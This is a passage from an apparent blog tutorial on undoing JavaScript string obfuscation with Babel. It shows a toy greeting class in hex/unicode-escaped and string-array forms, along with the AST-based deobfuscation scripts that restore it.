class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * "stringEscapeObfuscated.js"</span><br><span class="hljs-comment"> * This is the resulting code after obfuscation.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment">*/</span><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, emoji</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favEmoji</span> = emoji;<br> }<br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"\x48\x65\x6c\x6c\x6f\x2c\x20\x6d\x79\x20\x6e\x61\x6d\x65\x20\x69\x73\x20"</span> + <span class="hljs-comment">// Hexadecimal Escape Sequence</span><br> <span class="hljs-variable language_">this</span>[<span class="hljs-string">"\x6e\x61\x6d\x65"</span>] + <span class="hljs-comment">// Hexadecimal encoding of member expression property</span><br> <span class="hljs-string">"\u002e\u0020\u0049\u0020\u0067\u006f\u0020\u0074\u006f\u0020"</span> + <span class="hljs-comment">// Unicode Escape Sequence</span><br> <span class="hljs-variable language_">this</span>[<span class="hljs-string">"\u0073\u0063\u0068\u006f\u006f\u006c"</span>] + <span class="hljs-comment">// Unicode encoding of member expression property</span><br> <span class="hljs-string">"\x20\x61\x6e\x64\x20\x6d\x79\x20\x66\x61\x76\x6f\x75\x72\x69\x74\x65\u0020\u0065\u006d\u006f\u006a\u0069\u0020\u0069\u0073\u0020"</span> + <span class="hljs-comment">// Hexadecimal and Unicode Mix Escape Sequence</span><br> <span class="hljs-variable language_">this</span>[<span class="hljs-string">"\x66\x61\x76\u0045\u006d\u006f\u006a\u0069"</span>]; <span class="hljs-comment">// Hexadecimal and Unicode encoding of member expression property</span><br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br>}<br><br><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(<br> <span class="hljs-string">"\u0044\u0061\u0076\u0069\u0064"</span>, <span class="hljs-comment">// Unicode Escape Sequence */</span><br> <span class="hljs-string">"\x55\x6e\x69\x76\x65\x72\x73\x69\x74\x79\x20\x6f\x66\x20\x4f\x62\x66\x75\x73\x63\x61\x74\x69\x6f\x6e"</span>, <span class="hljs-comment">// Hexadecimal Escape Sequence</span><br> <span class="hljs-string">"\u{1F92A}"</span> <span class="hljs-comment">// Curly Bracket Unicode Escape Sequence</span><br>);<br><br>examplePerson.<span class="hljs-title function_">sayHello</span>();<br><br></code></pre></td></tr></table></figure><h3 id="Analysis-Methodology"><a href="#Analysis-Methodology" class="headerlink" title="Analysis Methodology"></a>Analysis Methodology</h3><p>Despite appearing daunting at first glance, this obfuscation technique is relatively trivial to reverse. To begin, let’s copy and paste the obfuscated sample into <a href="https://astexplorer.net/">AST Explorer</a></p><p><img src="/../images/stringencode.PNG" alt="View of the obfuscated code in AST Explorer"></p><p>Our targets of interest here are the obfuscated strings, which are of type <em>StringLiteral</em>. Let’s take a closer look at one of these nodes:</p><p><img src="/../images/extra.png" alt="A closer look at one of the obfuscated StringLiteral nodes"></p><p>We can deduce two things from analyzing the structure of these nodes:</p><ol><li>The actual, unobfuscated value has been parsed by Babel and is stored in the <strong><em>value</em></strong> property.</li><li>All nodes containing escaped text sequences have a property, <strong><em>extra</em></strong> which store the actual value and encoded text in <strong><em>extra.rawValue</em></strong> and <strong><em>extra.raw</em></strong> properties respectively</li></ol><p>Since the parsed value is already stored in the <strong><em>value</em></strong> property, we can safely delete the <strong><em>extra</em></strong> property, causing Babel to default to the value property when generating the code and thereby restoring the original strings. To do this, we create a visitor that iterates through all <em>StringLiteral_to nodes to delete the **_extra</em>** property if it exists. After that, we can generate code from the resulting AST to get the deobfuscated result. The babel implementation is shown below:</p><h3 id="Babel-Deobfuscation-Script"><a href="#Babel-Deobfuscation-Script" class="headerlink" title="Babel Deobfuscation Script"></a>Babel Deobfuscation Script</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment">*/</span><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Visitor for removing encoding.</span><br><span class="hljs-comment"> */</span><br> <span class="hljs-keyword">const</span> deobfuscateEncodedStringVisitor = {<br> <span class="hljs-title class_">StringLiteral</span>(path) {<br> <span class="hljs-keyword">if</span> (path.<span class="hljs-property">node</span>.<span class="hljs-property">extra</span>) <span class="hljs-keyword">delete</span> path.<span class="hljs-property">node</span>.<span class="hljs-property">extra</span>;<br> },<br> };<br><br> <span class="hljs-comment">//Parse AST of Source Code</span><br> <span class="hljs-keyword">const</span> ast = parser.<span class="hljs-title function_">parse</span>(source);<br><br> <span class="hljs-comment">// Execute the visitor</span><br> <span class="hljs-title function_">traverse</span>(ast, deobfuscateEncodedStringVisitor);<br><br> <span class="hljs-comment">// Code Beautification</span><br> <span class="hljs-keyword">let</span> deobfCode = <span class="hljs-title function_">generate</span>(ast, { <span class="hljs-attr">comments</span>: <span class="hljs-literal">false</span> }).<span class="hljs-property">code</span>;<br> deobfCode = <span class="hljs-title function_">beautify</span>(deobfCode, {<br> <span class="hljs-attr">indent_size</span>: <span class="hljs-number">2</span>,<br> <span class="hljs-attr">space_in_empty_paren</span>: <span class="hljs-literal">true</span>,<br> });<br> <span class="hljs-comment">// Output the deobfuscated result</span><br> <span class="hljs-title function_">writeCodeToFile</span>(deobfCode);<br>}<br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Writes the deobfuscated code to output.js</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> code The deobfuscated code</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">writeCodeToFile</span>(<span class="hljs-params">code</span>) {<br> <span class="hljs-keyword">let</span> outputPath = <span class="hljs-string">"output.js"</span>;<br> <span class="hljs-title function_">writeFile</span>(outputPath, code, <span class="hljs-function">(<span class="hljs-params">err</span>) =></span> {<br> <span class="hljs-keyword">if</span> (err) {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">"Error writing file"</span>, err);<br> } <span class="hljs-keyword">else</span> {<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(<span class="hljs-string">`Wrote file to <span class="hljs-subst">${outputPath}</span>`</span>);<br> }<br> });<br>}<br><br><span class="hljs-title function_">deobfuscate</span>(<span class="hljs-title function_">readFileSync</span>(<span class="hljs-string">"./stringEscapeObfuscated.js"</span>, <span class="hljs-string">"utf8"</span>));<br><br></code></pre></td></tr></table></figure><p>After processing the obfuscated script with the babel plugin above, we get the following result:</p><h3 id="Post-Deobfuscation-Result"><a href="#Post-Deobfuscation-Result" class="headerlink" title="Post-Deobfuscation Result"></a>Post-Deobfuscation Result</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, emoji</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favEmoji</span> = emoji;<br> }<br><br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement = <span class="hljs-string">"Hello, my name is "</span> + <span class="hljs-variable language_">this</span>[<span class="hljs-string">"name"</span>] + <span class="hljs-string">". I go to "</span> + <span class="hljs-variable language_">this</span>[<span class="hljs-string">"school"</span>] + <span class="hljs-string">" and my favourite emoji is "</span> + <span class="hljs-variable language_">this</span>[<span class="hljs-string">"favEmoji"</span>];<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br><br>}<br><br><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(<span class="hljs-string">"David"</span>, <span class="hljs-string">"University of Obfuscation"</span>, <span class="hljs-string">"\uD83E\uDD2A"</span>); <span class="hljs-comment">// Babel won't generate the actual representation of non-ascii characters</span><br>examplePerson.<span class="hljs-title function_">sayHello</span>();<br></code></pre></td></tr></table></figure><p>The strings are now deobfuscated, and the code becomes much easier to read.</p><h2 id="Example-2-String-Array-Map-Obfuscation"><a href="#Example-2-String-Array-Map-Obfuscation" class="headerlink" title="Example #2: String-Array Map Obfuscation"></a>Example #2: String-Array Map Obfuscation</h2><p>This type of obfuscation removes references to string literals and places them in a special array. Whenever a value must be accessed, the obfuscated script will reference the original string’s position in the string array. This technique is often combined with the previously discussed technique of storing strings as hexadecimal/unicode escape sequences. To isolate the point in this example, I’ve chosen not to include additional encoding. Below is an example of this obfuscation technique in practice:</p><h3 id="Original-Source-Code-1"><a href="#Original-Source-Code-1" class="headerlink" title="Original Source Code"></a>Original Source Code</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * "Input.js"</span><br><span class="hljs-comment"> * Original, unobfuscated code.S</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment">*/</span><br><br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, animal</span>) {<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> = name;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> = school;<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span> = animal;<br> }<br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> <span class="hljs-string">"Hello, my name is "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">name</span> +<br> <span class="hljs-string">". I go to "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">school</span> +<br> <span class="hljs-string">" and my favourite animal is a "</span> +<br> <span class="hljs-variable language_">this</span>.<span class="hljs-property">favAnimal</span>;<br> <span class="hljs-variable language_">console</span>.<span class="hljs-title function_">log</span>(helloStatement);<br> }<br>}<br><br><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(<span class="hljs-string">"David"</span>, <span class="hljs-string">"University of Obfuscation"</span>, <span class="hljs-string">"Penguin"</span>);<br><br>examplePerson.<span class="hljs-title function_">sayHello</span>();<br><br></code></pre></td></tr></table></figure><h3 id="Post-Obfuscation-Code-1"><a href="#Post-Obfuscation-Code-1" class="headerlink" title="Post-Obfuscation Code"></a>Post-Obfuscation Code</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * "stringArrayObfuscated.js"</span><br><span class="hljs-comment"> * This is the resulting code after obfuscation.</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment">*/</span><br><br><span class="hljs-comment">// This is the string array lookup table.</span><br><span class="hljs-keyword">var</span> _0xcd45 = [<br> <span class="hljs-string">"name"</span>,<br> <span class="hljs-string">"school"</span>,<br> <span class="hljs-string">"favAnimal"</span>,<br> <span class="hljs-string">"Hello, my name is "</span>,<br> <span class="hljs-string">". I go to "</span>,<br> <span class="hljs-string">" and my favourite animal is a "</span>,<br> <span class="hljs-string">"log"</span>,<br> <span class="hljs-string">"David"</span>,<br> <span class="hljs-string">"University of Obfuscation"</span>,<br> <span class="hljs-string">"Penguin"</span>,<br> <span class="hljs-string">"sayHello"</span>,<br>];<br><span class="hljs-keyword">class</span> <span class="hljs-title class_">Person</span> {<br> <span class="hljs-title function_">constructor</span>(<span class="hljs-params">name, school, animal</span>) {<br> <span class="hljs-comment">// Member expression properties obfuscated using this technique</span><br> <span class="hljs-variable language_">this</span>[_0xcd45[<span class="hljs-number">0</span>]] = name;<br> <span class="hljs-variable language_">this</span>[_0xcd45[<span class="hljs-number">1</span>]] = school;<br> <span class="hljs-variable language_">this</span>[_0xcd45[<span class="hljs-number">2</span>]] = animal;<br> }<br> <span class="hljs-title function_">sayHello</span>(<span class="hljs-params"></span>) {<br> <span class="hljs-keyword">let</span> helloStatement =<br> _0xcd45[<span class="hljs-number">3</span>] +<br> <span class="hljs-variable language_">this</span>[_0xcd45[<span class="hljs-number">0</span>]] +<br> _0xcd45[<span class="hljs-number">4</span>] +<br> <span class="hljs-variable language_">this</span>[_0xcd45[<span class="hljs-number">1</span>]] +<br> _0xcd45[<span class="hljs-number">5</span>] +<br> <span class="hljs-variable language_">this</span>[_0xcd45[<span class="hljs-number">2</span>]];<br> <span class="hljs-variable language_">console</span>[_0xcd45[<span class="hljs-number">6</span>]](helloStatement);<br> }<br>}<br><span class="hljs-keyword">const</span> examplePerson = <span class="hljs-keyword">new</span> <span class="hljs-title class_">Person</span>(_0xcd45[<span class="hljs-number">7</span>], _0xcd45[<span class="hljs-number">8</span>], _0xcd45[<span class="hljs-number">9</span>]);<span class="hljs-comment">// Obfuscation of string arguments using this technique</span><br>examplePerson[_0xcd45[<span class="hljs-number">10</span>]](); <span class="hljs-comment">// Member expression property obfuscated using this technique</span><br><br></code></pre></td></tr></table></figure><h3 id="Analysis-Methodology-1"><a href="#Analysis-Methodology-1" class="headerlink" title="Analysis Methodology"></a>Analysis Methodology</h3><p>Similar to the first example, this obfuscation technique is mostly for show and very trivial to undo. To begin, let’s copy and paste the obfuscated sample into <a href="https://astexplorer.net/">AST Explorer</a></p><p><img src="/../images/stringArray1.PNG" alt="View of the obfuscated code in AST Explorer"></p><p>Our targets of interest here are the master array, <code>_0xcd45</code> and its references. These references to it are of type <em>MemberExpression</em>. Let’s take a closer look at one of the MemberExpression nodes of interest.</p><p><img src="/../images/stringArray2.PNG" alt="A closer look at one of the obfuscated MemberExpression nodes"></p><p>We can notice that, unlike the first example, babel does not compute the actual value of these member expressions for us. However, it does store the name of the array they are referencing and the position of the array to be accessed.</p><p>Let’s now expand the <em>VariableDeclaration</em> node that holds the string array.</p><p><img src="/../images/stringArray3.PNG" alt="A closer look at the Variable Declaration node for the _0xcd45 array"></p><p>We can observe that the name of the string array,<code>_0xcd45</code> is held in <code>path.node.declarations[0].id.name</code>. We can also see that <code>path.node.declarations[0].init.elements</code> is an array of nodes, which holds each node of the string literals declared in the string array. Finally, the string array is the first <em>VariableDeclaration</em> with an init value of type <em>ArrayExpression</em> encountered at the top of the file.</p><p>[<em>Note: Traditionally, javascript obfuscators put the string arrays at the top of the file/code block. However, sometimes this may not always be the case (e.g. other string-containing arrays are declared first or reassignment of the string array). You may need to make a slight modification to this step in that case.</em>]</p><p>Using those observations, we can come up with the following logic to restore the code:</p><ol><li><p>Traverse the ast to search for the variable declaration of the string array. To check if it is the string array’s declaration, it must meet the following criteria:</p><ol><li>The <em>VariableDeclaration</em> node must declare only <strong>ONE</strong> variable.</li><li>Its corresponding <em>VariableDeclarator</em> node must have an init property of type <em>ArrayExpression</em></li><li><strong>ALL</strong> of the elements of the <em>ArrayExpression</em> must be of type <em>StringLiteral</em></li></ol></li><li><p>After finding the declaration, we can:</p><ol><li>Store the string array’s name in a variable, <code>stringArrayName</code></li><li>Store a copy of all its elements in a variable, <code>stringArrayElements</code></li></ol></li><li><p>Find all references to the string array. One of the most powerful features of Babel is it’s support for <em>scopes</em>.</p><p>From the <a href="https://github.com/jamiebuilds/babel-handbook/blob/master/translations/en/plugin-handbook.md#toc-bindings">Babel Plugin Handbook</a>:</p><blockquote><p>References all belong to a particular scope; this relationship is known as a binding.</p></blockquote><p>We’ll take advantage of this feature by doing the following:</p><ol><li>To ensure that we are getting the references to the correct identifier, we will get the path of the <code>id</code> property and store it in a variable, <code>idPath</code>.</li><li>We will then get the binding of the string array, using <code>idPath.scope.getBinding(stringArrayName)</code> and store it in a variable, <code>binding</code>.</li><li>If the binding does not exist, we will skip this variable declarator by returning early.</li><li>The <code>constant</code> property of <code>binding</code> is a boolean determining if the variable is constant. If the value of <code>constant</code> is false (i.e, it is reassigned/modified), replacing the references will be unsafe. In that case, we will return early.</li><li>The <code>referencePaths</code> property of <code>binding</code> is an array containing every NodePaths that reference the string array. We’ll extract this to its own variable.</li></ol></li><li><p>We will create a variable, <code>shouldRemove</code>, which will be a flag dictating whether or not we can remove the original <em>VariableDeclaration</em>. By default, we’ll initialize it to <code>true</code>. More on this in the next step.</p></li><li><p>We will loop through each individual <code>referencePath</code> of the <code>referencePaths</code> array, and check if they meet all the following criteria:</p><ol><li>The parent NodePath of the current <code>referencePath</code> must be a MemberExpression. The reason we are checking the parent node is because the <code>referencePath</code> refers to the actual referenced identifier (in our example, <code>_0xcd45</code>), which would be contained in a MemberExpression parent node (such as <code>_0xcd45[0]</code>)</li><li>The parent NodePath’s <code>object</code> field must be the the current referencePath’s node (that is, it must be the string array’s identifier)</li><li>The parent NodePath’s <code>computed</code> field must be <code>true</code>. This means that bracket notation is being used for member access (ex. <code>_0xcd45[0]</code>).</li><li>The parent NodePath’s <code>property</code> field must be of type <code>NumericLiteral</code>, so we can use it’s value to access the corresponding node by index.</li></ol></li><li><p>If all of these criteria are met, we can lookup the corresponding node in our <code>stringArrayElements</code> array using the value stored in the parent NodePath’s <code>property</code> field, and safely replace the <code>referencePath</code>‘s parent path with it (that is, replace the entire MemberExpression with the actual string).</p></li><li><p>If at least one of these conditions are not met for the current <code>referencePath</code>, we will be unable to replace the referencePath. In this case, removing the original VariableDeclarator of the string array would be unsafe, since these references to it would be in the final code. Therefore, we should set our <code>shouldDelete</code> flag to false. We’ll then skip to the next iteration of the for loop.</p></li><li><p>After we have finished iterating over all the referencePaths, we will use the value of our <code>shouldRemove</code> flag to determine if it is safe to remove the original <em>VariableDeclaration</em>.</p></li></ol><ul><li>If <code>shouldRemove</code> still has the default value of <code>true</code>, that means all referencePaths have been successfully replaced, and the original declaration of the string array is no longer needed, so we can remove it.</li><li>If <code>shouldRemove</code> is equal to <code>false</code>, we encountered a referencePath that we could not replace. It is then unsafe to remove the original declaration of the string array, so we don’t remove it.</li></ul><p>The Babel implementation is shown below:</p><h3 id="Babel-Deobfuscation-Script-1"><a href="#Babel-Deobfuscation-Script-1" class="headerlink" title="Babel Deobfuscation Script"></a>Babel Deobfuscation Script</h3><figure class="highlight javascript"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br><span class="line">109</span><br><span class="line">110</span><br><span class="line">111</span><br><span class="line">112</span><br><span class="line">113</span><br><span class="line">114</span><br><span class="line">115</span><br><span class="line">116</span><br><span class="line">117</span><br><span class="line">118</span><br><span class="line">119</span><br><span class="line">120</span><br><span class="line">121</span><br><span class="line">122</span><br><span class="line">123</span><br><span class="line">124</span><br><span class="line">125</span><br><span class="line">126</span><br></pre></td><td class="code"><pre><code class="hljs Javascript"><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Deobfuscator.js</span><br><span class="hljs-comment"> * The babel script used to deobfuscate the target file</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><br><span class="hljs-keyword">const</span> parser = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/parser"</span>);<br><span class="hljs-keyword">const</span> traverse = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/traverse"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> t = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/types"</span>);<br><span class="hljs-keyword">const</span> generate = <span class="hljs-built_in">require</span>(<span class="hljs-string">"@babel/generator"</span>).<span class="hljs-property">default</span>;<br><span class="hljs-keyword">const</span> beautify = <span class="hljs-built_in">require</span>(<span class="hljs-string">"js-beautify"</span>);<br><span class="hljs-keyword">const</span> { readFileSync, writeFile } = <span class="hljs-built_in">require</span>(<span class="hljs-string">"fs"</span>);<br><br><span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Main function to deobfuscate the code.</span><br><span class="hljs-comment"> * <span class="hljs-doctag">@param</span> source The source code of the file to be deobfuscated</span><br><span class="hljs-comment"> *</span><br><span class="hljs-comment"> */</span><br><span class="hljs-keyword">function</span> <span class="hljs-title function_">deobfuscate</span>(<span class="hljs-params">source</span>) {<br> <span class="hljs-comment">/**</span><br><span class="hljs-comment"> * Visitor for removing encoding.</span><br><span class="hljs-comment"> */</span><br><br> <span class="hljs-keyword">const</span> deobfuscateStringArrayVisitor = {<br> <span class="hljs-title class_">VariableDeclaration</span>(path) {<br> <span class="hljs-keyword">const</span> { declarations } = path.<span class="hljs-property">node</span>;<br> <span class="hljs-keyword">if</span> (<br> <span class="hljs-comment">// The VariableDeclaration node must declare only ONE variable.</span><br> declarations.<span class="hljs-property">length</span> !== <span class="hljs-number">1</span> ||<br> <span class="hljs-comment">// It's corresponding VariableDeclarator node must have an init property of type ArrayExpression</span><br> !t.<span class="hljs-title function_">isArrayExpression</span>(declarations[<span class="hljs-number">0</span>].<span class="hljs-property">init</span>)<br> )<br> <span class="hljs-keyword">return</span>; <span class="hljs-comment">//skip</span><br><br> <span class="hljs-keyword">const</span> stringArrayElements = [];<br> <span class="hljs-keyword">for</span> (<span class="hljs-keyword">const</span> elementNode <span class="hljs-keyword">of</span> declarations[<span class="hljs-number">0</span>].<span class="hljs-property">init</span>.<span class="hljs-property">elements</span>) {<br> <span class="hljs-comment">// ALL of the elements of the ArrayExpression_must be of type StringLiteral</span><br> <span class="hljs-keyword">if</span> (!t.<span class="hljs-title function_">isStringLiteral</span>(elementNode)) <span class="hljs-keyword">return</span>;<br> <span class="hljs-keyword">else</span> {<br> <span class="hljs-comment">// Store a copy of all its elements in a variable</span><br> stringArrayElements.<span class="hljs-title function_">push</span>(elementNode);<br> }<br> }<br> <span class="hljs-comment">// Store the string array's name in a variable</span><br> <span class="hljs-keyword">const</span> stringArrayName = declarations[<span class="hljs-number">0</span>].<span class="hljs-property">id</span>.<span class="hljs-property">name</span>;<br> <span class="hljs-comment">// Get the path of the identifier. By using this path, we ensure we will ALWAYS correctly refer to the scope of the array</span><br> <span class="hljs-keyword">const</span> idPath = path.<span class="hljs-title function_">get</span>(<span class="hljs-string">"declarations.0.id"</span>);<br> <span class="hljs-comment">// Get the binding of the array.</span><br> <span class="hljs-keyword">const</span> binding = idPath.<span class="hljs-property">scope</span>.<span class="hljs-title function_">getBinding</span>(stringArrayName);<br><br> <span class="hljs-keyword">if</span> (!binding) <span 